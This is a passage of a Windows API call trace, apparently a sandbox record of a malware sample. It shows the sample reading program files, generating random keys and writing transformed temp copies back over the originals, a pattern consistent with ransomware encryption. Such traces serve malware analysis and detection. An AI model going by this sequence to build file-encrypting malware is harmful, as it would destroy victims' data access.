	[0241.991] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2d6149092d0b8f5c9dc1a3b59c0a1057" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2d6149092d0b8f5c9dc1a3b59c0a1057")) returned 1
	[0241.994] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.029] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.244] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.396] SetEvent (hEvent=0xe4) returned 1
	[0242.397] SwitchToThread () returned 1
	[0242.399] SwitchToThread () returned 1
	[0242.405] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70709ff508, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70709ff508*=0x120) returned 1
	[0242.405] SwitchToThread () returned 1
	[0242.447] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.484] SuspendThread (hThread=0x120) returned 0x0
	[0242.484] GetThreadContext (in: hThread=0x120, lpContext=0x70709ff520 | out: lpContext=0x70709ff520*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ff728, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5424, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.497] SetEvent (hEvent=0x124) returned 1
	[0242.497] ResumeThread (hThread=0x120) returned 0x1
	[0242.498] CloseHandle (hObject=0x120) returned 1
	[0242.498] SwitchToThread () returned 1
	[0242.536] SetEvent (hEvent=0xf0) returned 1
	[0242.536] SetEvent (hEvent=0xe4) returned 1
	[0242.536] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70709ffad8*=0x1a0, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0242.594] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.594] SetEvent (hEvent=0xfc) returned 1
	[0242.594] SwitchToThread () returned 1
	[0242.607] SwitchToThread () returned 1
	[0242.629] SwitchToThread () returned 1
	[0242.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52aa4a39bdb9cfcf01bf5470a20be258" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52aa4a39bdb9cfcf01bf5470a20be258"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0242.659] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000213c04 | out: lpMode=0xc000213c04) returned 0
	[0242.659] GetFileType (hFile=0x19c) returned 0x1
	[0242.659] WriteFile (in: hFile=0x19c, lpBuffer=0xc000688000*, nNumberOfBytesToWrite=0x186c84, lpNumberOfBytesWritten=0xc000213bec, lpOverlapped=0x0 | out: lpBuffer=0xc000688000*, lpNumberOfBytesWritten=0xc000213bec*=0x186c84, lpOverlapped=0x0) returned 1
	[0242.731] CloseHandle (hObject=0x19c) returned 1
	[0242.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi\\*", lpFindFileData=0xc000213a78 | out: lpFindFileData=0xc000213a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0242.813] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52aa4a39bdb9cfcf01bf5470a20be258" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52aa4a39bdb9cfcf01bf5470a20be258")) returned 1
	[0242.918] SetEvent (hEvent=0xfc) returned 1
	[0242.918] SetEvent (hEvent=0xf0) returned 1
	[0242.918] VirtualFree (lpAddress=0xc000680000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.919] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0242.957] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc00044fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00044fd94, lpOverlapped=0x0) returned 0
	[0242.957] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0xc00044fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00044fd94, lpOverlapped=0x0) returned 0
	[0242.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0242.957] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc00044fbf4 | out: lpMode=0xc00044fbf4) returned 0
	[0242.957] GetFileType (hFile=0x19c) returned 0x1
	[0242.957] GetFileType (hFile=0x19c) returned 0x1
	[0242.957] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc00044fc44 | out: lpFileInformation=0xc00044fc44) returned 1
	[0242.957] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc00044fc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00044fc28) returned 1
	[0242.958] ReadFile (in: hFile=0x19c, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x1b4d8, lpNumberOfBytesRead=0xc00044fb04, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc00044fb04*=0x1b2d8, lpOverlapped=0x0) returned 1
	[0242.971] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001372d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00044fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001372d8*, lpNumberOfBytesRead=0xc00044fb04*=0x0, lpOverlapped=0x0) returned 1
	[0242.971] CloseHandle (hObject=0x19c) returned 1
	[0242.972] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0320 | out: pbBuffer=0xc0000c0320) returned 1
	[0242.972] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000941c0 | out: pbBuffer=0xc0000941c0) returned 1
	[0242.972] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082101 | out: pbBuffer=0xc000082101) returned 1
	[0242.973] VirtualAlloc (lpAddress=0xc0002ce000, dwSize=0x1c000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ce000
	[0242.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0dd636762d866a883bcfa21fb211ee7a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0dd636762d866a883bcfa21fb211ee7a"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0242.979] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000279c04 | out: lpMode=0xc000279c04) returned 0
	[0242.979] GetFileType (hFile=0x19c) returned 0x1
	[0242.979] WriteFile (in: hFile=0x19c, lpBuffer=0xc0002ce000*, nNumberOfBytesToWrite=0x1b3d8, lpNumberOfBytesWritten=0xc000279bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesWritten=0xc000279bec*=0x1b3d8, lpOverlapped=0x0) returned 1
	[0242.989] CloseHandle (hObject=0x19c) returned 1
	[0242.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi\\*", lpFindFileData=0xc000279a78 | out: lpFindFileData=0xc000279a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.000] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0dd636762d866a883bcfa21fb211ee7a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0dd636762d866a883bcfa21fb211ee7a")) returned 1
	[0243.046] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.086] SetEvent (hEvent=0xe4) returned 1
	[0243.086] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0) returned 0
	[0243.087] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0) returned 0
	[0243.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0243.087] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000279bf4 | out: lpMode=0xc000279bf4) returned 0
	[0243.087] GetFileType (hFile=0x19c) returned 0x1
	[0243.087] GetFileType (hFile=0x19c) returned 0x1
	[0243.087] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000279c44 | out: lpFileInformation=0xc000279c44) returned 1
	[0243.088] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000279c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000279c28) returned 1
	[0243.088] VirtualAlloc (lpAddress=0xc000368000, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000368000
	[0243.095] ReadFile (in: hFile=0x19c, lpBuffer=0xc000368000, nNumberOfBytesToRead=0x2c1cc, lpNumberOfBytesRead=0xc000279b04, lpOverlapped=0x0 | out: lpBuffer=0xc000368000*, lpNumberOfBytesRead=0xc000279b04*=0x2bfcc, lpOverlapped=0x0) returned 1
	[0243.137] ReadFile (in: hFile=0x19c, lpBuffer=0xc000393fcc, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000279b04, lpOverlapped=0x0 | out: lpBuffer=0xc000393fcc*, lpNumberOfBytesRead=0xc000279b04*=0x0, lpOverlapped=0x0) returned 1
	[0243.137] CloseHandle (hObject=0x19c) returned 1
	[0243.138] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0460 | out: pbBuffer=0xc0000c0460) returned 1
	[0243.138] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0000942a0 | out: pbBuffer=0xc0000942a0) returned 1
	[0243.138] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082401 | out: pbBuffer=0xc000082401) returned 1
	[0243.139] VirtualAlloc (lpAddress=0xc000396000, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000396000
	[0243.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eeff5082bc660889ef9d2a5f0cbe916" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eeff5082bc660889ef9d2a5f0cbe916"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0243.305] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.313] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000279c04 | out: lpMode=0xc000279c04) returned 0
	[0243.313] GetFileType (hFile=0x19c) returned 0x1
	[0243.313] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.332] SetEvent (hEvent=0x190) returned 1
	[0243.332] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.413] VirtualFree (lpAddress=0xc00080e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.414] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.518] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.636] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.719] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.829] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0243.939] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.039] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.118] SetEvent (hEvent=0x190) returned 1
	[0244.118] VirtualFree (lpAddress=0xc0007f2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.118] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.124] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.132] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.186] SetEvent (hEvent=0xd4) returned 1
	[0244.186] VirtualFree (lpAddress=0xc0007e8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.187] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.233] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0244.316] SetEvent (hEvent=0x190) returned 1
	[0244.316] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0) returned 0
	[0244.316] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0xa6, lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000275d94, lpOverlapped=0x0) returned 0
	[0244.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0244.316] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000275bf4 | out: lpMode=0xc000275bf4) returned 0
	[0244.317] GetFileType (hFile=0x120) returned 0x1
	[0244.317] GetFileType (hFile=0x120) returned 0x1
	[0244.317] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc000275c44 | out: lpFileInformation=0xc000275c44) returned 1
	[0244.317] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc000275c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000275c28) returned 1
	[0244.317] ReadFile (in: hFile=0x120, lpBuffer=0xc00019c000, nNumberOfBytesToRead=0xfbbd, lpNumberOfBytesRead=0xc000275b04, lpOverlapped=0x0 | out: lpBuffer=0xc00019c000*, lpNumberOfBytesRead=0xc000275b04*=0xf9bd, lpOverlapped=0x0) returned 1
	[0244.331] ReadFile (in: hFile=0x120, lpBuffer=0xc0001ab9bd, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000275b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001ab9bd*, lpNumberOfBytesRead=0xc000275b04*=0x0, lpOverlapped=0x0) returned 1
	[0244.331] CloseHandle (hObject=0x120) returned 1
	[0244.331] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000ea60 | out: pbBuffer=0xc00000ea60) returned 1
	[0244.331] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c700 | out: pbBuffer=0xc00028c700) returned 1
	[0244.331] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0001b6c01 | out: pbBuffer=0xc0001b6c01) returned 1
	[0244.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a527eb5d8deb4ff2325b342ae7519a8a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a527eb5d8deb4ff2325b342ae7519a8a"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0244.333] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000275c04 | out: lpMode=0xc000275c04) returned 0
	[0244.335] GetFileType (hFile=0x120) returned 0x1
	[0244.335] WriteFile (in: hFile=0x120, lpBuffer=0xc00014c000*, nNumberOfBytesToWrite=0xfabd, lpNumberOfBytesWritten=0xc000275bec, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesWritten=0xc000275bec*=0xfabd, lpOverlapped=0x0) returned 1
	[0244.340] CloseHandle (hObject=0x120) returned 1
	[0244.360] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0244.412] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000275d74 | out: lpMode=0xc000275d74) returned 0
	[0244.412] GetFileType (hFile=0x120) returned 0x1
	[0244.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a527eb5d8deb4ff2325b342ae7519a8a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a527eb5d8deb4ff2325b342ae7519a8a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0244.412] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000275d74 | out: lpMode=0xc000275d74) returned 0
	[0244.412] GetFileType (hFile=0x1ac) returned 0x1
	[0244.413] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000164000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000275bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000164000*, lpNumberOfBytesRead=0xc000275bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0244.413] WriteFile (in: hFile=0x120, lpBuffer=0xc000164000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000275b74, lpOverlapped=0x0 | out: lpBuffer=0xc000164000*, lpNumberOfBytesWritten=0xc000275b74*=0x8000, lpOverlapped=0x0) returned 1
	[0244.416] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000164000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000275bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000164000*, lpNumberOfBytesRead=0xc000275bd4*=0x7abd, lpOverlapped=0x0) returned 1
	[0244.416] WriteFile (in: hFile=0x120, lpBuffer=0xc000164000*, nNumberOfBytesToWrite=0x7abd, lpNumberOfBytesWritten=0xc000275b74, lpOverlapped=0x0 | out: lpBuffer=0xc000164000*, lpNumberOfBytesWritten=0xc000275b74*=0x7abd, lpOverlapped=0x0) returned 1
	[0244.418] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000164000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000275bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000164000*, lpNumberOfBytesRead=0xc000275bd4*=0x0, lpOverlapped=0x0) returned 1
	[0244.418] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a527eb5d8deb4ff2325b342ae7519a8a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a527eb5d8deb4ff2325b342ae7519a8a")) returned 0
	[0244.418] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a527eb5d8deb4ff2325b342ae7519a8a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a527eb5d8deb4ff2325b342ae7519a8a")) returned 0
	[0244.418] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a527eb5d8deb4ff2325b342ae7519a8a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a527eb5d8deb4ff2325b342ae7519a8a")) returned 0x20
	[0244.418] CloseHandle (hObject=0x1ac) returned 1
	[0244.418] CloseHandle (hObject=0x120) returned 1
	[0244.509] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a527eb5d8deb4ff2325b342ae7519a8a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a527eb5d8deb4ff2325b342ae7519a8a")) returned 1
	[0244.511] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0245.141] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0245.231] SetEvent (hEvent=0x190) returned 1
	[0245.231] VirtualFree (lpAddress=0xc000524000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0245.231] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0245.314] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0245.327] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0245.375] SetEvent (hEvent=0xe4) returned 1
